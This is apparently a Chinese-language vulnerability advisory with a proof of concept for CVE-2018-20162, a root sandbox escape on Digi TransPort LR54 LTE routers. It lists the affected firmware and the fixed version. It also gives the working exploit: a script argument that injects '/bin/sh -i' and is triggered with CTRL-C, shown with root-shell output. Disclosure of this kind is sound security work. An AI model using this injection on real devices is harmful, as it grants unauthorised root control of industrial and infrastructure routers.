概念验证漏洞利用 CVE-2018-20162:通过 SIGINT 处理缺陷实现 Digi TransPort LR54 LTE 路由器的沙盒逃逸,获取 root shell 权限。
Digi TransPort LR54是一款高速LTE路由器,广泛应用于工业、基础设施、零售和公共交通领域。
它支持在受限沙箱中运行Python脚本,并通过SSH提供一个自定义shell,该shell同样受到限制。因此,管理员无法访问底层操作系统。
我发现了一种方法,可以通过利用CLI在执行Python脚本时处理命令行参数的方式,突破沙箱并获得root shell:
当交互式Python进程收到SIGINT(通过CTRL-C)时,脚本参数在传递给交互式CLI的错误日志处理程序时未被正确转义。这允许攻击者以root身份执行任意命令。
要利用此漏洞,攻击者需要具有'super'权限的交互式CLI访问权限。设备默认启用具有此访问级别的用户。
Digi Transport LR54(可能还有相关产品如WR64和WR54)
固件版本 : 4.4.0.26 10/29/2018 21:14:06 固件版本 : 4.3.2.24 09/06/2018 00:58:34
以及可能更早的版本
用户应升级到固件版本4.5.1.4或更高版本。作为预防措施,应更改设备上存储的机密信息,如私钥和密码短语。
sleep.py上传到LR54,内容如下:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
程序启动后立即按下CTRL-C
然后你将进入交互式root shell
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
漏洞由Stig Palmquist发现。
感谢@duniel_pls和@alexanderkjall审阅此报告。